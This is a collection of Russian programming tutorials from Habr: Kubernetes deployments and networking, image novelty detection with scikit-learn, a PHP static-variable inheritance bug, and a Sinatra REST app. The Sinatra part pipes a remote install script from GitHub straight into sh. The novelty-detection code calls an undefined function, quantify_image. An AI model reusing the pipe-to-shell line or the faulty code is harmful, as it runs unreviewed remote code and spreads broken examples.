Еще есть эластичное масштабирование: вы на программном уровне определяете некое свойство, например «запросы на реплику в секунду не должны превышать 1000», и Kubernetes автоматически подбирает необходимое количество реплик. Это называется горизонтальным автомасштабированием. Сейчас, впрочем, речь не о нем, но вы можете подробнее изучить его в [этой статье](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/).
Задача 6: как развернуть новую версию бэкенда без простоя
---------------------------------------------------------
Каждую неделю у вас выходит новая версия бэкэнда kangaroo. Когда вы впервые выпускали обновление, вы просто удалили старый деплоймент и создали новый в виде более свежей версии контейнера kangaroo-backend. Это сработало, но система простаивала несколько минут — а ведь это именно то, чего вы стремитесь избежать. Как обновить kangaroo с 15-й до 16-й версии без простоя?
Это настолько распространенная проблема, что в Deployments в Kubernetes уже заложили поддержку решения. Оно называется [обновление деплоймента](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#updating-a-deployment). Выполнить его несложно. Просто отредактируйте деплоймент, либо поменяв kangaroo-backend:1.15 на kangaroo-backend:1.16, либо с помощью команды`kubectl edit CLI`, либо отредактировав манифест YAML, заменив образ контейнера и перезапустив команду `kubectl apply`. Здесь снова проявляется декларативное управление Kubernetes. K8s замечает, что актуальный деплоймент для контейнера — kangaroo-backend:1.15 — это не задекларированный kangaroo-backend:1.16, и с определенной периодичностью он будет:
1. замечать, что фактическое состояние кластера не соответствует заявленным спецификациям: недостаточно реплик для версии 1.16;
2. запускать новый под в версии 1.16;
3. если под запускается как задумано, Kubernetes заменяет в деплойменте старый под;
4. замечать под kangaroo-backend:1.15, который не относится ни к какой заявленной спецификации, и останавливать его, чтобы привести систему в правильное состояние.
Kubernetes повторяет эти действия до тех пор, пока не исчезнут все устаревшие и не останутся только актуальные поды.
Задача 7: как направить трафик на все поды в деплойменте
--------------------------------------------------------
Каждый под получает собственный IP-адрес кластера. Он имеет смысл только в рамках этого кластера Kubernetes: другим кластерам, как и всему интернету, ничего не известно об этом IP. С помощью этого адреса с фронтенда kangaroo можно направлять трафик на бэкенд.
Все это прекрасно работает, пока не случается перезапуск пода или не появляется Deployments с несколькими подами, у каждого из которых будет свой IP-адрес. Как фронтенду узнать, на какой IP-адрес направлять трафик для kangaroo-backend? Пора обратиться к новому типу объекта Kubernetes, называемому Service.
```
# The kangaroo-backend Service.
# Other services inside the Kubernetes cluster will address the
# kangaroo-backend containers using this service.
apiVersion: v1
kind: Service
metadata:
name: kangaroo-backend
labels:
app: kangaroo-backend
spec:
ports:
# Port 8080 of the Service will be forwarded to port 80 of one of the Pods.
- port: 8080
protocol: TCP
targetPort: 80
# Select which pods the service will proxy to
selector:
app: kangaroo
role: backend
```
При развертывании Service у вас в кластере Kubernetes возникает DNS-запись, нечто вроде `my-svc.my-namespace.svc.cluster-domain.example` или `kangaroo-backend.kangaroo-team.svc.mycompany.com`. Объект Service отслеживает, какие поды соответствуют его селекторам. Каждый раз, когда служба получает пакет TCP в свой port, она направляет его на `targetPort` соответствующего пода.
Итак, теперь фронтенд kangaroo просто направляет свои API-запросы на имя хоста внутри кластера `kangaroo-backend.kangaroo-team.svc.mycompany.com`, и сопоставитель DNS-кластера сравнивает его с Service kangaroo, чтобы перенаправить на доступный под. Если у вас есть деплоймент, он проследит, чтобы у вас хватало подов для обработки трафика.
> И Services, и Deployments выбирают поды с определенным набором меток, но выполняют разные обязанности. Services занимаются балансировкой и обнаружением трафика, Deployments следят за тем, чтобы поды существовали в нужном количестве и в нужной конфигурации. В основном у бэкендов и серверов в Kubernetes есть один Service и один Deployment, для которых заданы одинаковые метки.
Задача 8: балансировка нагрузки между подами
--------------------------------------------
Мы только что выяснили, как в Services Kubernetes организована работа с набором подов, если они входят в этот набор или выходят из него — например, при перезапуске или обновлении. Теперь поговорим о балансировке нагрузки.
Если вы используете Services Kubernetes для направления трафика в приложение, вы получаете базовый вариант балансировки нагрузки бесплатно. Если под перестает работать, Services больше не направляет в него трафик, зато начинает использовать другие поды с соответствующими метками — как вариант, поды в том же Deployment. Если другие поды в кластере используют имя хоста DNS Services, их запросы будут направляться на доступный под.
Задача 9: как принимать трафик из-за пределов кластера
------------------------------------------------------
Пока ваши Services принимали трафик от фронтенда внутри кластера с помощью имени хоста Services. Но эти IP и DNS-записи воспринимаются только в кластере. Это значит, что другие службы у вас в компании могут без проблем направлять трафик на бэкенд kangaroo. Но как принимать трафик из-за пределов кластера, например интернет-трафик от заказчиков?
Нужно развернуть два типа ресурсов: [Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/) и [IngressController](https://kubernetes.io/docs/concepts/services-networking/ingress-controllers/).
1. Ingress определяет правила для сопоставления HTTP/S-трафика за пределами кластера со службами внутри него. Отсюда Services направляет его на под, как мы уже убедились выше.
2. IngressController выполняет эти правила. Вполне возможно, что у вас в компании уже настроен Ingress Controller для вашего кластера. В проекте Kubernetes поддерживаются три отдельных контроллера IngressController (AWS, GCE и Nginx), но есть и другие популярные варианты, например [Contour](https://projectcontour.io/).
Возможно, настройка IngressController — это задача для специализированной команды по развитию платформы, которая отвечает за Kubernetes, или облачной платформы, которую вы используете. Так что на этой теме мы останавливаться не будем. Вместо этого поговорим о самом Ingress, который определяет правила сопоставления внешнего трафика с вашими службами.
> Здорово, что вы можете определять правила Ingress, работающие на абстрактном уровне с любым отдельно взятым IngressController. Разные проекты могут предлагать конкурирующие контроллеры, каждый из которых совместим с одним и тем же Kubernetes API.
Рассмотрим код:
```
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: minimal-ingress
spec:
ingressClassName: kangaroo
rules:
- http:
paths:
- path: /api
pathType: Prefix
backend:
service:
name: kangaroo-backend
port:
number: 8080
```
Это создает Ingress с помощью контроллера, выбранного для нашего кластера по умолчанию. У Ingress есть одно правило: он будет сопоставлять трафик, путь которого начинается с /api, с нашим бэкендом kangaroo. Если нужно, мы можем задать и другие правила, например map /admin для службы администрирования. Трафик, который не подпадает ни под какие правила, обрабатывается настройками IngressController по умолчанию.
Задача 10: как ограничить работу сети в кластере
------------------------------------------------
Вы серьезно относитесь к безопасности проекта kangaroo и настроены принять меры безопасности заранее. А что, если кто-то взломает бэкенд kangaroo с помощью внедрения кода SQL или еще чего-то подобного? Вы хотите сократить ущерб и сделать так, чтобы злоумышленники не смогли захватить контроль над бэкендом kangaroo.
Один из простых вариантов решения — это использовать [Network Policies](https://kubernetes.io/docs/concepts/services-networking/network-policies/) Kubernetes, чтобы ограничить разрешения на доступ к сети для вашего проекта. Можно использовать сетевые политики:
* Ingress — от кого ваша служба может получать трафик;
* Egress — кому ваша служба может направлять трафик.
С точки зрения безопасности лучший подход — это [по умолчанию запретить все сетевые взаимодействия в пространстве имен](https://kubernetes.io/docs/concepts/services-networking/network-policies/#default-deny-all-ingress-traffic), а потом сделать несколько исключений для сетевых подключений, которые нужны сервису. Рассмотрим на примере, как разрешить некоторые сетевые подключения для kangaroo. Обратите внимание, что для Ingress и Egress действуют разные правила. У каждого Ingress-правила есть две части:
1. from говорит, какие сервисы могут отправлять трафик;
2. ports говорит, на какие порты можно отправлять трафик.
В Egress-правилах есть to и ports, с помощью которых определяется, куда сервис может отправлять трафик и какие порты в этих точках назначения разрешены.
```
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: kangaroo-network-policy
labels:
app: kangaroo
role: network-policy
spec:
podSelector:
matchLabels:
app: kangaroo
role: backend
policyTypes:
- Ingress
- Egress
# Each element of `ingress` opens some port of Kangaroo to receive requests from a client.
ingress:
# Anything can ingress to the public API port
- ports:
- protocol: TCP
port: 80
# Hypothetical example: say your Platform team has configured cluster-wide metrics,
# you'll need to grant it access to your pod's metrics server. Your company will
# have examples for this. Assume kangaroo-backend serves metrics on TCP :81
- from:
- namespaceSelector:
matchLabels:
project: monitoring-system
ports:
- protocol: TCP
port: 81
# Each element of `egress` opens some port of Kangaroo to send requests to some server
egress:
# Say the Kangaroo backend calls into a membership microservice.
# You'll need to allow egress to it!
- ports:
- port: 443
to:
- namespaceSelector:
matchLabels:
project: membership
role: api
```
Задача 11: как использовать HTTP/S за пределами кластера и HTTP внутри кластера
-------------------------------------------------------------------------------
Управление TLS-сертификатами может быть головной болью: заниматься созданием, управлением, развертыванием и восстановлением этих сертификатов не слишком интересно. А если что-то пойдет не так, можно случайно отключить весь трафик, поступающий на ваш сервис. Так что если вы уже настроили сетевые политики, вы не станете использовать TLS в конкретном кластере или пространстве имен. Поговорите со своей командой, чтобы определить, что для вас лучше.
Если вы решили не использовать TLS, вы, возможно, все-таки предпочтете разрешить HTTP/S для внешнего трафика. В конце концов, в интернете же нет пространств имен или сетевых политик Kubernetes. Так что, настроив Ingress, можно обрубить HTTP/S до того, как он начнет отправлять запросы к вашему сервису. Это значит, что внешние заказчики выполняют взаимодействие TLS с вашим Ingress, а затем ваш Ingress направляет plaintext HTTP вашему сервису.
Задача 12: как получать метрики своего сервиса
----------------------------------------------
Возможно, вам нужно собирать метрики задержки вашего сервиса, количестве ответов HTTP класса 200/400/500 и так далее. Вы можете сами снабдить сервер инструментами вроде Prometheus, OpenMetrics или Honeycomb. И это вроде бы неплохо, но возникают две проблемы:
1. Если сервис перестал работать, вы не сможете получить с него метрики.
2. Вы будете прописывать одинаковые метрики для каждого развертываемого сервиса. Все это превращается в утомительную рутину.
Но большинство IngressController собирают всевозможные метрики. Например, Contour отслеживает каждый HTTP-запрос, который он направляет к сервису, и собирает данные по задержкам и статусе HTTP. Потом он передает их в [метрики Prometheus](https://projectcontour.io/guides/prometheus/), где их можно немного отполировать и визуализировать. Это действительно удобно, потому что не нужно тратить время на самостоятельную обработку. Вы будете знать, когда сервис вышел из строя, потому что метрики Contour для этого NameSpaces или Services покажут вам пиковую задержку или увеличение запросов HTTP в 5xx раз.
Задача 13: как изолировать друг от друга проекты в одном кластере
-----------------------------------------------------------------
С вашим проектом Kubernetes все хорошо. Вы запустились, все в восторге. CTO подходит с вопросом: «Ну как Kubernetes?» С трудом сдерживая слезы счастья, вы отвечаете: «Неплохо». Ваши коллеги покупают вам в подарок кружку с надписью Best YAML Writer.
Другие отделы берут на заметку ваш успех и начинают переносить свои проекты на Kubernetes. И вот в один прекрасный день они подходят к вам с жалобой, что ваш деплоймент сломал им их деплоймент. Как?! Что случилось?
Выясняется, что вы написали Deployment, который соответствует любым подам с метками role: backend. Это никому не мешает, если кроме вашей команды никто больше не работает с Kubernetes: вы пишете шаблон пода с меткой role: backend и в Deployment создаются его реплики. А что будет, если и другая команда выполнит развертывание пода `role: backend`? Ваш Deployment будет соответствовать этому поду и начнет создавать реплики из проекта другой команды! Что же делать?
Один вариант — всегда добавлять к меткам небольшой префикс, чтобы вместо backend ваши команды договорились использовать метки kangaroo-backend и emu-backend. Для этого все сотрудники должны дисциплинированно соблюдать правила. Но даже если все с этим согласны, рано или поздно кто-то допустит ошибку, опечатку и сделает деплоймент с неправильной меткой. Это может привести к серьезным проблемам. Представьте, что будет, если вы случайно создали реплику сервиса, которую создавали как одинарный объект.
К счастью, в Kubernetes есть встроенный механизм, позволяющий изолировать команды друг от друга. Он называется [NameSpaces](https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/). С его помощью можно изолировать друг от друга команды или проекты так, чтобы их имена не пересекались. Примерно как разные типы могут экспортировать одноименные методы, например String::new и File::new. Просто используйте --namespace в kubectl CLI, чтобы выбрать, в какое пространство имен необходимо сделать деплоймент.
> Обычно используется два NameSpaces на команду, например datalossprevention-staging и datalossprevention-production. Потом, во время развертывания изменений в Kubernetes, мы можем развернуть их в Staging, проверить, работают ли они, и выпустить в продакшен. К этому моменту мы точно будем знать, что это не мешает другим командам.
Заключение
----------
Веб-приложения сталкиваются с одинаковыми проблемами независимо от того, где их деплоят. Балансировка нагрузки и управление репликами, ограничение прав доступа к сети, обновления без простоев — нельзя сказать, что это уникальные преимущества Kubernetes. Возможно, вы уже знаете, как все это делается в вашей любимой модели развертывания. В Kubernetes тоже предусмотрена реализация этих задач с помощью достаточно хороших, готовых к использованию решений — вам нужно только перевести стандартные решения на жаргон Kubernetes: поды, деплойменты и т. п.
Подытожим:
1. [Под](https://kubernetes.io/docs/concepts/workloads/pods/) — минимальная единица деплоймента. В нем может быть один или несколько контейнеров.
2. Создавайте реплики подов с помощью [Deployments](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/). Это дает вам устойчивость к сбоям, обновление без простоев и масштабирование при увеличении трафика.
3. Балансируйте нагрузки между подами в Deployments с помощью Service.
4. Ограничивайте доступ к сети пода с помощью [сетевой политики](https://kubernetes.io/docs/concepts/services-networking/network-policies/), чтобы сократить область уязвимости.
5. Направляйте внешний трафик в под с помощью [Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/):
а) В правилах Ingress определенный вид трафика (протокол, URL и т. п.) сопоставляется с определенной службой.
b) Правила выполняются [IngressController](https://kubernetes.io/docs/concepts/services-networking/ingress-controllers/). Возможно, администраторы кластера уже настроили его у вас.
6. Разделяйте команды и проекты с помощью [namespaces](https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/).
> Попробуйте [Kubernetes as a Service на платформе VK Cloud](https://mcs.mail.ru/containers/). Мы даем новым пользователям 3000 бонусных рублей на тестирование кластера или любых других сервисов.
>
> | https://habr.com/ru/post/710852/ | null | ru | null |
# Обнаружение новизны изображений с помощью Python и библиотеки scikit-learn
В этой статье я расскажу, как с помощью библиотек scikit-learn, opencv, numpy, imutilsс выявить новизну входных изображений. Многие программы требуют наличия возможности решить, принадлежит ли новый объект тому же распределению, что и существующие объекты (это промежуточный результат), или его следует рассматривать как новизну. Часто эта возможность используется для очистки реальных наборов данных.
Для начала установим необходимые библиотеки:
```
pip install numpy
pip install opencv-contrib-python
pip install imutils
pip install scikit-learn
```
Выявлять новинки будем методом «Обнаружения новинок», используя модуль Isolation Forests.
 Одним из эффективных способов обнаружения новизны в наборе данных является использование случайных лесов. Алгоритм изолирует наблюдения, случайным образом выбирая признак, а затем случайным образом выбирая значение разделения между максимальным и минимальным значениями выбранного признака. Стратегия показана выше.
Рассмотрим работу алгоритма на конкретном примере. Пусть перед нами стоит задача – определить изображено ли картинке море.
Обучим модель на датасете фотографий моря.
 При представлении нового входного изображения наш алгоритм обнаружения новизны должен решить, вписывается ли новое изображение в «многообразие моря» или оно является новинкой, и вернуть либо 1, либо -1. Если возвращается 1, то делаем вывод «Да, это море», иначе «Нет, не похоже на море»
Для оценки нашего алгоритма обнаружения новинок используем 3 тестовых изображения:
 Для начала реализуем модуль для извлечения цветовой гистограммы с помощью OpenCV, это необходимо для того, чтобы представить изображение в график пикселей:
```
from imutils import paths
import numpy as np
import cv2
def histogram_image(image, bins=(4, 6, 3)):
# вычислияем 3D-цветовую гистограмму по изображению и нормализуем ее
histogram = cv2.calcHist([image], [0, 1, 2], None, bins,
[0, 180, 0, 256, 0, 256])
histogram = cv2.normalize(histogram, histogram).flatten()
# Возращаем гистограмму
return histogram
```
Затем загружаем датасет:
```
def loading_dataset(path_dataset, bins):
# пути ко всем изображениям в нашем каталоге набора данных, затем
# инициализируйте наши списки изображений
path_s_image = list(paths.list_images(path_dataset))
data = []
# цикл по каждому патчу
for path in path_s_image:
image = cv2.imread(path)
image = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
features = quantify_image(image, bins)
data.append(features)
return np.array(data)
```
Создаем файл Python для обучения модели на загруженном датасете и запускаем выполнение:
```
from function import loading_dataset
from sklearn.ensemble import IsolationForest
import pickle
print("[ИНФО] подготовка набора данных")
data = loading_dataset('sea/', bins=(3, 3, 3))
# обучаем модель
print("[INFO] модель обнаружения")
model = IsolationForest(n_estimators=100, contamination=0.01,
random_state=42)
model.fit(data)
f = open('detect_anomaly.model', "wb")
f.write(pickle.dumps(model))
f.close()
```
Создаем файл test\_anomaly для тестирования модели:
```
from function import histogram_image
import pickle
import cv2
print("[ИНФО] загрузка модели новизны")
model = pickle.loads(open("detect_anomaly.model", "rb").read())
# Загрузка изображения,и конвертация в гистограмму
image = cv2.imread('examples\cities.jpg')
hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
features = histogram_image(hsv, bins=(3, 3, 3))
preds = model.predict([features])[0]
label = "new" if preds == -1 else "normal"
color = (0, 0, 255) if preds == -1 else (0, 255, 0)
# рисуем фотографию
cv2.putText(image, label, (10, 25), cv2.FONT_HERSHEY_SIMPLEX,
0.7, color, 2)
# отображаем на экране
cv2.imshow("Output", image)
cv2.waitKey(0)
```
Тестируем модель на трех фотографиях – город, море и шоссе.
Тест 1. В модель загружаем фото города.
 По результату отработки алгоритма видим, что фотографию города модель пометила как новинку.
Тест 2. В модель загружаем фото моря.
 Фотографию моря модель пометила как нормальное. То есть на картинки изображено море.
Тест 3. В модель загружаем фото шоссе.
 Фотографию шоссе модель пометила как новинку.
В результате, наша обученная модель прошла три из трех тестов, и определила все фотографии верно. Две из которых были новинками и одно фото не являлось новинкой. | https://habr.com/ru/post/652851/ | null | ru | null |
# PHP, статические переменные внутри методов класса и история одного бага
Вообще я разработчик фронтенда. Но порой приходится работать и с серверной частью. Команда у нас небольшая, и когда все ~~настоящие~~бэкенд-программисты заняты, бывает быстрее реализовать какой-то метод самому. А иногда мы садимся вместе поработать над задачами, чтобы не терять времени на перегон коммитов туда-сюда. Недавно во время одного из таких раундов парного программирования мы с товарищем по команде столкнулись с багом, который меня так впечатлил, что я решил с вами поделиться.
Баг
---
Итак, когда после обеда я подошёл к своему коллеге Роману [parpalak](https://habrahabr.ru/users/parpalak/), он как раз закончил приводить в порядок юнит-тесты, и запустил всю пачку. Один из тестов выкинул исключение и упал. Ага, подумали мы, сейчас исправим баг. Запустили тест в одиночестве, вне пакета, и он прошёл успешно.
Прежде чем сбросить с себя послеобеденную дремоту, мы запустили Codeception ещё несколько раз. В пакете тест падал, в одиночку проходил, в пакете падал…
Мы полезли в код.
Фаталка `Call to private method` вылетала из метода, преобразующего объект сущности в массив для отправки клиенту. Недавно механизм этого процесса немного изменился, но ещё не все классы отрефакторили, поэтому в методе стоит проверка, переопределён ли метод, возвращающий список необходимых полей (это старый способ), в дочернем классе. Если нет, список полей формируется через рефлексию (это новый способ), и вызываются соответствующие геттеры. В нашем случае один из геттеров был объявлен как private, и, соответственно, недоступен из базового класса. Всё это выглядит примерно так:
**Немного упрощённый код, чтобы сфокусироваться на сути**
```
abstract class AbstractEntity
{
/* Много кода */
public function toClientModel()
{
static $isClientPropsOriginal = null;
if ($isClientPropsOriginal === null) {
$reflector = new \ReflectionMethod($this, 'getClientProperties');
$isClientPropsOriginal = $reflector->getDeclaringClass()->getName() === 'AbstractEntity';
}
if ($isClientPropsOriginal) {
// TODO В будущем использовать только новую реализацию
return $this->toClientModelNew($urlGenerator);
}
$result = [];
foreach ($this->getClientProperties() as $clientKey => $property) {
$value = call_user_func([$this, 'get' . ucfirst($property)]);
$result[$clientKey] = $this->formatValueForClient($value);
}
return $result;
}
public function toClientModelNew()
{
$result = [];
/* Считать аннотации полей класса, получить маппинг полей сущности, сформировать массив данных */
return $result;
}
public function getClientProperties()
{
/* Вернуть массив свойств сущности */
}
/* Ещё код */
}
class Advertiser extends AbstractEntity
{
/* Много кода */
private $name;
private function getName()
{
return $this->getCalculatedName();
}
public function toClientModel()
{
$result = parent::toClientModel();
$result['name'] = $this->getName();
$result['role_id'] = $this->getRoleId();
return $result;
}
public function getClientProperties()
{
return array_merge(parent::getClientProperties(), [
'role_id' => 'RoleId' /* одно из полей для примера */
/* А name тут нет, он добавляется выше в toClientModel */
]);
}
/* Ещё код */
}
```
Как видите, результат работы рефлектора кешируется в статической переменной `$isClientPropsOriginal` внутри метода.
— А что, рефлексия такая тяжёлая операция? — спросил я.
— Ну да, — кивнул Роман.
Брейкпоинт на строчке с рефлексией вообще не срабатывал в этом классе. Ни разу. Статической переменной уже было присвоено значение `true`, интерпретатор лез в метод `toClientModelNew` и падал. Я предложил посмотреть, где же тогда происходит присвоение:
```
$isClientPropsOriginal = $reflector->getDeclaringClass()->getName() === 'AbstractEntity' ? get_class($this) : false;
```
В переменной `$isClientPropsOriginal` стояло `"PaymentList"`. Это ещё один класс, унаследованный от `AbstractEntity`, примечательный ровно двумя вещами: он не переопределяет метод `getClientProperties` и он тестировался юнит-тестом, который уже успешно отработал чуть раньше.
— Как такое может быть? — спросил я. — Статическая переменная внутри метода шарится при наследовании? Почему тогда мы раньше этого не заметили?
Роман был озадачен не меньше моего. Пока я ходил за кофе, он набросал небольшой юнит-тест с имитацией нашей иерархии классов, но он не падал. Мы что-то упускали из виду. Статическая переменная вела себя неправильно, не так, как мы ожидали, но не во всех случаях, и мы не могли понять, почему. Гугление по запросу "php static variable inside class method" не давало ничего путного, кроме того, что статические переменные — это нехорошо. Well, duh!
Теперь Роман пошёл за кофе, а я в задумчивости открыл [PHP-песочницу](http://sandbox.onlinephpfunctions.com/) и написал самый простой код:
**простой пример 1**
```
class A {
function printCount() {
static $count = 0;
printf("%s: %d\n", get_class($this), ++$count);
}
}
class B extends A {
}
$a = new A();
$b = new B();
$a->printCount(); // A: 1
$a->printCount(); // A: 2
$b->printCount(); // B: 1
$b->printCount(); // B: 2
$b->printCount(); // B: 3
```
Как-то так это и должно работать. Принцип наименьшего удивления, все дела. Но у нас ведь статическая переменная определена внутри метода `toClientModel`, а он переопределён в дочернем классе. А что, если мы запишем так:
**простой пример 2**
```
class A {
function printCount() {
static $count = 0;
printf("%s: %d\n", get_class($this), ++$count);
}
}
class B extends A {
function printCount() {
parent::printCount();
}
}
$a = new A();
$b = new B();
$a->printCount(); // A: 1
$a->printCount(); // A: 2
$b->printCount(); // B: 3
$b->printCount(); // B: 4
$b->printCount(); // B: 5
```
"Как странно," подумал я. Но какая-то логика тут есть. Во втором случае метод, содержащий статическую переменную, вызывается через `parent::`, выходит, используется её экземпляр из родительского класса? А как же выйти из этого положения? Я почесал в затылке и немного дополнил свой пример:
**простой пример 3**
```
class A {
function printCount() {
$this->doPrintCount();
}
function doPrintCount() {
static $count = 0;
printf("%s: %d\n", get_class($this), ++$count);
}
}
class B extends A {
function printCount() {
parent::printCount();
}
}
$a = new A();
$b = new B();
$a->printCount(); // A: 1
$a->printCount(); // A: 2
$b->printCount(); // B: 1
$b->printCount(); // B: 2
$b->printCount(); // B: 3
```
Вот оно! Роман как раз вернулся, и я, довольный собой, продемонстрировал свои наработки. Ему понадобилось всего несколько нажатий на клавиатуру в PHPStorm, чтобы отрефакторить участок со статической переменной в отдельный метод:
```
private function hasOriginalClientProps()
{
static $isClientPropsOriginal = null;
if ($isClientPropsOriginal === null) {
$reflector = new \ReflectionMethod($this, 'getClientProperties');
$isClientPropsOriginal = $reflector->getDeclaringClass()->getName() === 'AbstractEntity';
}
return $isClientPropsOriginal;
}
```
Но не тут-то было! Наша ошибка сохранялась. Присмотревшись, я заметил, что метод `hasOriginalClientProps` объявлен как `private`, в моём примере был `public`. Быстрая проверка показала, что работают `protected` и `public`, а `private` не работает.
**простой пример 4**
```
php
class A {
function printCount() {
$this-doPrintCount();
}
private function doPrintCount() {
static $count = 0;
printf("%s: %d\n", get_class($this), ++$count);
}
}
class B extends A {
function printCount() {
parent::printCount();
}
}
$a = new A();
$b = new B();
$a->printCount(); // A: 1
$a->printCount(); // A: 2
$b->printCount(); // B: 3
$b->printCount(); // B: 4
$b->printCount(); // B: 5
```
В итоге мы объявили метод `hasOriginalClientProps` как `protected` и снабдили пространным комментарием.
Анализ
------
Время не ждало, и мы перешли к дальнейшим задачам, но всё же такое поведение озадачивало. Я решил разобраться, почему же PHP ведёт себя именно таким образом. В документации не удалось нарыть ничего, кроме неясных намёков. Ниже я попробую восстановить картину происходящего, основываясь на вдумчивом чтении [PHP Internals Book](http://www.phpinternalsbook.com/), [PHP Wiki](https://wiki.php.net/internals/engine/objects), изучении [исходников](http://lxr.php.net/) и информации о том, как реализуются объекты в других языках программирования.
Функция внутри интерпретатора PHP описывается структурой `op_array`, которая, [среди прочего, содержит хеш-таблицу](http://lxr.php.net/xref/PHP_7_0/Zend/zend_compile.h#_zend_op_array) со статическими переменными этой функции. [При наследовании](http://lxr.php.net/xref/PHP_7_0/Zend/zend_inheritance.c#57), если статических переменных нет, функция переиспользуется в дочернем классе, а если есть — создаётся дубликат, чтобы у дочернего класса в методе были свои статические переменные.
Пока всё хорошо, но если мы вызываем родительский метод через `parent::printCount()`, то, естественно, попадаем в метод родительского класса, который работает со своими статическими переменными. Поэтому пример 2 не работает, а пример 1 — работает. А когда мы вынесли статическую переменную в отдельный метод, как в примере 3, нас выручает позднее связывание: метод `A::printCount` всё равно вызовет копию метода `A::doPrintCount` из класса `B` (которая, конечно, идентична оригиналу `A::doPrintCount`).
Лично мне такое копирование показалось довольно тяжеловесным. Видимо, разработчики PHP подумали так же и отказались от копирования для приватных методов. Ведь они же всё равно не видны из дочерних и родительских классов! Вон, мы даже фаталку в самом начале рассказа словили из-за этого. Поэтому приватный метод существует в единственном экземпляре по всей иерархии классов, и статические переменные в нём тоже существует в единственном контексте. Поэтому и не заработал пример 4.
Такое поведение повторяется на всех версиях PHP, которые я попробовал в [песочнице](http://sandbox.onlinephpfunctions.com/), начиная с мохнатой 5.0.4.
Почему же баг в коде нашего проекта раньше никак не давал о себе знать? Видимо, сущности редко создавались разнотипными группами, а если и создавались — то рефакторили их одновременно. А вот при прогоне тестов в один запуск скрипта попали два объекта, работающие через разные механизмы, и один из них испортил другому состояние.
Выводы
------
(ведь в каждой серьёзной статье должны быть выводы)
1. Статические переменные — зло.
Ну то есть как и любое другое зло в программировании, они требуют осторожного и вдумчивого подхода. Конечно, можно критиковать нас за использование скрытого состояния, но при аккуратном применении это позволяет писать достаточно эффективный код. Однако за static'ами могут скрываться подводные камни, один из которых я вам продемонстрировал. Поэтому
2. Пишите юнит-тесты.
Никто не поручится, что скрытый косяк в вашем коде не вылезет на свет после очередного рефакторинга. Так что пишите тестируемый код и покрывайте его тестами. Если бы подобный описанному мной баг возник в боевом коде, а не в тестах, на его отладку вполне мог бы уйти весь день, а не полтора-два часа.
3. Не бойтесь влезть в дебри.
Даже такая простая штука, как статические переменные, может послужить поводом для того, чтобы глубоко погрузиться в системную документацию и исходники PHP. И даже что-то в них понять.
На этой воодушевляющей ноте я прощаюсь с вами. Надеюсь, что эта статья поможет кому-то избежать тех граблей, на которые наступила мы. Спасибо за внимание!
P.S.: Благодарю Романа [parpalak](https://habrahabr.ru/users/parpalak/) за ценные советы при подготовке материала. | https://habr.com/ru/post/301478/ | null | ru | null |
# Пишем REST приложение на Sinatra и прикручиваем Redactor. Часть 1
Данная статья рассчитана первым делом на новичков, которые только начинают изучать Ruby. После 3 недель изучения этого замечательного языка, накопились некоторые знания, которыми хочется поделиться.
[Sinatra](http://www.sinatrarb.com/) — бесплатный и открытый программный каркас написанный на языке Ruby, предназначенный для разработки веб-приложений. ([ru.wikipedia.org](http://ru.wikipedia.org/wiki/Sinatra))
[Redactor](http://redactorjs.com/ru/) — достаточно мощный и в тоже время простой и красивый в использовании wysiwyg редактор ([ссылка на хабре](http://habrahabr.ru/post/124911/))
Итак начнем!
Предположительно у вас уже установлен Ruby и SQLite.
Так как основным моментом статьи является попытка прикрутить Redactor, где для выбора уже загруженных изображений используются превью картинок, то для работы с изображениями установим Rmagick. В OS X установка совершается достаточно просто
```
curl https://raw.github.com/maddox/magick-installer/master/magick-installer.sh | sh
```
Теперь необходимо установить дополнительные gem'ы.
```
[sudo] gem install sinatra data_mapper carrierwave carrierwave/datamapper json shotgun
```
sintra — сам фреймворк
data\_mapper — ORM
carrierwave — гем для загрузки изображений (использовался в [одной статье](http://habrahabr.ru/post/139423/) на Хабре)
carrierwave/datamapper — для связи DataMapper и CarrierWave
json — для генерации данных в формате JSON
Нужные гемы установлены, теперь скачаем сам редактор [redactorjs.com/ru/download](http://redactorjs.com/ru/download/)
Приступим к написанию кода:
Классика жанра
```
# coding: utf-8
require 'sinatra'
get '/' do
'REST приложение на Sinatra [Перейти к страницам](/posts)'
end
```
сохраним к примеру под именем init.rb и запустим приложение shotgun init.rb
перейдем по адресу <http://127.0.0.1:9393/>
Вы заметили ссылку /posts, сейчас займемся ее работоспособностью.
Первое что мы должны сделать, это добавить установленные нами гемы в приложение
```
#init.rb
# coding: utf-8
require 'rubygems'
require 'sinatra'
require 'data_mapper'
require 'carrierwave'
require 'carrierwave/datamapper'
require 'rmagick'
require 'json'
```
Установим public папку с js скриптами и куда будем загружать изображения (также обычно в эту папку помещаются css файлы, изображения макетов страниц)
```
set :public_directory, './public'
```
И сразу создадим в ней папку js и скопируем туда ранее скаченный редактор
Далее напишем нашу модель Post
```
#init.rb
class Post
include DataMapper::Resource
property :id, Serial #Идентификатор
property :title, String #String указывает на то, что поле title будет иметь тип "Строка" и стандартно не более 50 символов
property :body, Text #Text указывает на то, что поле body будет иметь тип "Текст" размером 65535 символов
end
```
Создадим папку **db** в корне с нашим файлом init.rb
Настроим работу с базой данных
```
#init.rb
DataMapper.setup(:default, ENV['DATABASE_URL'] || 'sqlite:./db/base.db') #подключение и путь к бд
DataMapper.finalize #Проверка моделей
DataMapper.auto_upgrade! #Создает новые таблицы и добавляет новые столбцы в существующие таблицы
```
Пропишем роутинг для /posts
```
#init.rb
#Список всех постов
get '/posts' do #роутинг для ссылки /posts
@posts = Post.all #задаем переменную @posts равную выводу всех значений бд из модели Post
erb :'index' #выводим все в шаблоне index.erb*
end
```
\*по умолчанию Sinatra использует шаблонизатор erb — [Erubis](http://www.kuwata-lab.com/erubis/)
Теперь создадим папку **views** в корне с нашим файлом init.rb, опять же по умолчанию Sinatra ищет шаблоны в папке views. Создадим в этой папке index.erb следующего содержания:
```
#index.erb
**[Создать новую страницу](/posts/new)**
Список всех страниц
-------------------
<% @posts.each do |post| %>
**[<%= post.title %>](/posts/<%= post.id %>/edit)**
